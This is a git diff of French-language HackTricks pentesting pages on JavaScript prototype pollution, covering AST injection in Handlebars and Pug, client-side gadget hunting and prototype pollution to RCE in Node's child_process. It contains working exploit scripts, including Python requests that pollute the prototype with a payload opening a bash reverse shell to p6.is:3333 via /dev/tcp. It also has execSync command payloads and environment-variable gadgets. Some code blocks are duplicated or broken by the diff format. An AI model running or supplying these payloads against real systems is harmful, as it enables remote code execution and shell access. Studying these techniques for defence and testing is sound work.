Le compilateur prend l'objet AST (en fait une chaîne de caractères) et l'envoie à la méthode `accept`.\
|
||||
`accept` appelle `this[node.type]` du compilateur.\
|
||||
Ensuite, il prend l'attribut `body` de l'AST et l'utilise pour construire une fonction.
|
||||
L'interpréteur, étant donné l'objet AST (en réalité une chaîne), l'envoie à la méthode `accept`.\
|
||||
et `accept` appelle `this[node.type]` de l'interpréteur.\
|
||||
Ensuite, il prend l'attribut body de l'AST et l'utilise pour construire la fonction.
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
Object.prototype.type = 'Program';
|
||||
Object.prototype.body = [{
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
}];
|
||||
|
||||
|
||||
|
@ -400,27 +422,25 @@ console.log(eval('(' + template + ')')['main'].toString());
|
|||
|
||||
/*
|
||||
function (container, depth0, helpers, partials, data) {
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
}
|
||||
*/
|
||||
```
|
||||
En conséquence, une attaque peut être configurée comme ceci. Si vous avez parcouru l'analyseur syntaxique, spécifiez une chaîne qui ne peut pas être assignée à la valeur de NumberLiteral. Mais une fois que l'AST injecté est traité, nous pouvons insérer n'importe quel code dans la fonction.
|
||||
|
||||
**Exemple**
|
||||
|
||||
[https://github.com/hughsk/flat/issues/105](https://github.com/hughsk/flat/issues/105)
|
||||
|
@ -431,19 +451,19 @@ TARGET_URL = 'http://p6.is:3000'
|
|||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
"__proto__.type": "Program",
|
||||
"__proto__.body": [{
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
}]
|
||||
"__proto__.type": "Program",
|
||||
"__proto__.body": [{
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
}]
|
||||
})
|
||||
|
||||
# execute
|
||||
|
@ -451,7 +471,7 @@ requests.get(TARGET_URL)
|
|||
```
|
||||
### Pug
|
||||
|
||||
Plus d'informations sur [https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug)
|
||||
Plus d'infos sur [https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug)
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
@ -459,23 +479,23 @@ TARGET_URL = 'http://p6.is:3000'
|
|||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
"__proto__.block": {
|
||||
"type": "Text",
|
||||
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}
|
||||
"__proto__.block": {
|
||||
"type": "Text",
|
||||
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}
|
||||
})
|
||||
|
||||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
## Comment puis-je prévenir?
|
||||
## Comment puis-je prévenir ?
|
||||
|
||||
* Geler les propriétés avec Object.freeze (Object.prototype)
|
||||
* Effectuer une validation sur les entrées JSON conformément au schéma de l'application
|
||||
* Éviter d'utiliser des fonctions de fusion récursives de manière non sécurisée
|
||||
* Éviter d'utiliser des fonctions de fusion récursive de manière non sécurisée
|
||||
* Utiliser des objets sans propriétés de prototype, tels que `Object.create(null)`, pour éviter d'affecter la chaîne de prototype
|
||||
* Utiliser `Map` au lieu de `Object`
|
||||
* Mettre régulièrement à jour les nouveaux correctifs pour les bibliothèques
|
||||
* Mettre à jour régulièrement les nouveaux correctifs pour les bibliothèques
|
||||
|
||||
## Référence
|
||||
|
||||
|
@ -485,12 +505,14 @@ requests.get(TARGET_URL)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une entreprise de **cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,24 @@
|
|||
# Pollution du prototype côté client
|
||||
# Pollution de prototype côté client
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Découverte à l'aide d'outils automatiques
|
||||
|
||||
Les outils [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **et** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) peuvent être utilisés pour **trouver des vulnérabilités de pollution du prototype**.
|
||||
Les outils [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **et** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) peuvent être utilisés pour **trouver des vulnérabilités de pollution de prototype**.
|
||||
|
||||
De plus, vous pouvez également utiliser l'**extension de navigateur** [**PPScan**](https://github.com/msrkp/PPScan) pour **analyser automatiquement** les **pages** auxquelles vous accédez à la recherche de vulnérabilités de pollution du prototype.
|
||||
De plus, vous pourriez également utiliser l'**extension de navigateur** [**PPScan**](https://github.com/msrkp/PPScan) pour **scanner automatiquement** les **pages** que vous **accédez** à la recherche de vulnérabilités de pollution de prototype.
|
||||
|
||||
### Débogage de l'utilisation d'une propriété <a href="#5530" id="5530"></a>
|
||||
|
||||
|
@ -30,15 +32,15 @@ return 'test';
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Trouver la cause principale de la pollution du prototype <a href="#5530" id="5530"></a>
|
||||
### Trouver la cause première de la pollution de prototype <a href="#5530" id="5530"></a>
|
||||
|
||||
Une fois que l'un des outils a **identifié** une **vulnérabilité de pollution du prototype**, si le **code** n'est pas très **complex**, vous pouvez **rechercher** le code JS pour les **mots-clés** **`location.hash/decodeURIComponent/location.search`** dans les Outils de développement Chrome et trouver l'endroit vulnérable.
|
||||
Une fois qu'un des outils a **identifié** une **vulnérabilité de pollution de prototype**, si le **code** n'est **pas** très **complexe**, vous pouvez **rechercher** dans le code JS les **mots-clés** **`location.hash/decodeURIComponent/location.search`** dans les outils de développement de Chrome et trouver l'endroit vulnérable.
|
||||
|
||||
Si le code est grand et complexe, il existe une méthode facile pour **découvrir où se trouve le code vulnérable** :
|
||||
Si le code est volumineux et complexe, il existe une méthode simple pour **découvrir où se trouve le code vulnérable** :
|
||||
|
||||
* Utilisez l'un des outils pour **trouver une vulnérabilité** et obtenir une **charge utile** qui va **définir une propriété** dans le constructeur. Dans ppmap, vous obtiendrez quelque chose comme : `constructor[prototype][ppmap]=reserved`
|
||||
* Maintenant, définissez un **point d'arrêt sur la première ligne de code JS** qui va être exécutée sur la page, et rafraîchissez la page avec la charge utile pour que l'exécution soit en pause à cet endroit.
|
||||
* Pendant que l'exécution JS est en pause, **collez le script suivant dans la console JS**. Ce code indiquera une fois que la propriété 'ppmap' est créée, vous pourrez donc trouver où elle a été créée.
|
||||
* En utilisant l'un des outils, **trouvez une vulnérabilité** et obtenez un **payload** qui va **définir une propriété** dans le constructeur. Dans ppmap, on vous donnera quelque chose comme : `constructor[prototype][ppmap]=reserved`
|
||||
* Ensuite, placez un **point d'arrêt à la première ligne de code JS** qui va être exécutée sur la page, et actualisez la page avec le payload pour que l'**exécution soit interrompue là**.
|
||||
* Pendant que l'exécution du JS est en pause, **collez le script suivant dans la console JS**. Ce code indiquera une fois que la propriété 'ppmap' est créée, ainsi vous pourrez trouver où elle a été créée.
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet=true){
|
||||
|
||||
|
@ -60,30 +62,30 @@ return origValue = val;
|
|||
|
||||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
Revenez aux **Sources** et cliquez sur "Reprendre l'**exécution** du script". Une fois cela fait, tout le **javascript** sera **exécuté** et ppmap sera à nouveau pollué comme prévu. À l'aide du Snippet, nous pouvons trouver où exactement la propriété ppmap est polluée. Nous pouvons **cliquer** sur la **Pile d'appels** et vous rencontrerez **différentes** **piles** où la **pollution** s'est produite.
|
||||
Retournez aux **Sources** et cliquez sur "**Reprendre** l'**exécution** du script". Après cela, tout le **javascript** sera **exécuté** et ppmap sera à nouveau pollué comme prévu. Avec l'aide du Snippet, nous pouvons trouver où exactement la propriété ppmap est polluée. Nous pouvons **cliquer** sur la **Pile d'appels** et vous serez confronté à **différentes** **piles** où la **pollution** a **eu lieu**.
|
||||
|
||||
Mais laquelle choisir ? La plupart du temps, la pollution du prototype se produit sur les bibliothèques Javascript, donc visez la pile qui est attachée aux fichiers de bibliothèque .js (regardez du côté droit, tout comme sur l'image, pour savoir à quel point d'extrémité la pile est attachée). Dans ce cas, nous avons 2 piles à la ligne 4 et 6, logiquement nous choisirons la 4ème ligne car c'est la première fois que la pollution se produit, ce qui signifie que cette ligne est la cause de la vulnérabilité. En cliquant sur la pile, nous serons redirigés vers le code vulnérable.
|
||||
Mais laquelle choisir ? La plupart du temps, la Pollution de Prototype se produit dans les bibliothèques Javascript, donc visez la pile qui est attachée aux fichiers de bibliothèque .js (regardez à droite comme dans l'image pour savoir à quel point de terminaison la pile est attachée). Dans ce cas, nous avons 2 piles aux lignes 4 et 6, logiquement nous choisirons la ligne 4 car c'est la première fois que la Pollution se produit, ce qui signifie que cette ligne est la raison de la vulnérabilité. En cliquant sur la pile, nous serons redirigés vers le code vulnérable.
|
||||
|
||||
![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
|
||||
## Recherche de gadgets de script
|
||||
## Trouver des Gadgets de Script
|
||||
|
||||
Le gadget est le **code qui sera exploité une fois qu'une vulnérabilité PP est découverte**.
|
||||
Le gadget est le **code qui sera abusé une fois qu'une vulnérabilité PP est découverte**.
|
||||
|
||||
Si l'application est simple, nous pouvons **rechercher** des **mots-clés** comme **`srcdoc/innerHTML/iframe/createElement`** et examiner le code source pour vérifier s'il conduit à l'exécution de javascript. Parfois, les techniques mentionnées peuvent ne pas trouver de gadgets du tout. Dans ce cas, l'examen pur du code source révèle de beaux gadgets comme dans l'exemple ci-dessous.
|
||||
Si l'application est simple, nous pouvons **rechercher** des **mots-clés** comme **`srcdoc/innerHTML/iframe/createElement`** et examiner le code source pour vérifier s'il **mène à l'exécution de javascript**. Parfois, les techniques mentionnées peuvent ne pas trouver de gadgets du tout. Dans ce cas, une revue pure du code source révèle de jolis gadgets comme l'exemple ci-dessous.
|
||||
|
||||
### Exemple de recherche de gadget PP dans le code de la bibliothèque Mithil
|
||||
|
||||
Consultez cet article : [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
Consultez ce writeup : [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
|
||||
## Recompilation des charges utiles pour les bibliothèques vulnérables
|
||||
## Recompilation de payloads pour les bibliothèques vulnérables
|
||||
|
||||
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
|
||||
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
|
||||
|
||||
## Contournement des sanitiseurs HTML via PP
|
||||
## Contournement des Sanitizers HTML via PP
|
||||
|
||||
[Cette recherche](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) montre des gadgets PP à utiliser pour **contourner les sanitiseurs** fournis par certaines bibliothèques de sanitiseurs HTML :
|
||||
[**Cette recherche**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) montre des gadgets PP à utiliser pour **contourner les sanitizations** fournies par certaines bibliothèques de sanitizers HTML :
|
||||
|
||||
* #### sanitize-html
|
||||
|
||||
|
@ -122,12 +124,14 @@ document.body.append(node);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# Pollution du prototype vers RCE
|
||||
# Prototype Pollution à RCE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Code Vulnérable
|
||||
|
||||
Imaginez un vrai JS utilisant du code comme celui-ci :
|
||||
Imaginez un vrai JS utilisant un code comme le suivant :
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -49,9 +51,9 @@ var proc = fork('a_file.js');
|
|||
```
|
||||
## PP2RCE via variables d'environnement
|
||||
|
||||
**PP2RCE** signifie **Prototype Pollution to RCE** (Exécution de code à distance).
|
||||
**PP2RCE** signifie **Prototype Pollution vers RCE** (Exécution de Code à Distance).
|
||||
|
||||
Selon ce [**rapport**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est lancé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou autres), il appelle la méthode `normalizeSpawnArguments` qui utilise un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement** :
|
||||
Selon ce [**compte-rendu**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est lancé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou d'autres), il appelle la méthode `normalizeSpawnArguments` qui est un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement** :
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
|
@ -71,15 +73,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||
}
|
||||
}
|
||||
```
|
||||
Vérifiez ce code, vous pouvez voir qu'il est possible de **empoisonner `envPairs`** simplement en **polluant** l'attribut `.env`.
|
||||
Vérifiez que dans le code, il est possible de **polluer `envPairs`** simplement en **polluant** l'**attribut `.env`.**
|
||||
|
||||
### **Empoisonnement de `__proto__`**
|
||||
### **Polluer `__proto__`**
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que en raison du fonctionnement de la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de Node, lorsqu'il est appelé pour **définir une nouvelle variable d'environnement** pour le processus, il suffit de **polluer n'importe quoi**.\
|
||||
Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une variable appelée `avar` avec la valeur `valuevar`.
|
||||
Notez qu'en raison de la manière dont la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de node fonctionne, lorsqu'on appelle quelque chose pour **définir une nouvelle variable d'environnement** pour le processus, il suffit de **polluer n'importe quoi**.\
|
||||
Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une variable appelée `avar` ayant pour valeur `valuevar`.
|
||||
|
||||
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'attribut **`.env`** et (uniquement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
|
||||
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'**attribut `.env`** et (seulement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
|
||||
|
||||
C'est pourquoi **`NODE_OPTIONS`** n'est **pas à l'intérieur de `.env`** dans l'attaque suivante.
|
||||
{% endhint %}
|
||||
|
@ -106,8 +108,6 @@ clone(USERINPUT);
|
|||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Empoisonnement de `constructor.prototype`
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
@ -131,10 +131,10 @@ var proc = fork('a_file.js');
|
|||
```
|
||||
## PP2RCE via variables d'environnement + ligne de commande
|
||||
|
||||
Une charge utile similaire à la précédente avec quelques modifications a été proposée dans [**ce compte rendu**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont les suivantes :
|
||||
Un payload similaire au précédent avec quelques modifications a été proposé dans [**ce compte-rendu**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont :
|
||||
|
||||
* Au lieu de stocker la **charge utile** de nodejs à l'intérieur du fichier `/proc/self/environ`, elle est stockée à l'intérieur de **argv0** de **`/proc/self/cmdline`**.
|
||||
* Ensuite, au lieu de requérir via **`NODE_OPTIONS`** le fichier `/proc/self/environ`, il **requiert `/proc/self/cmdline`**.
|
||||
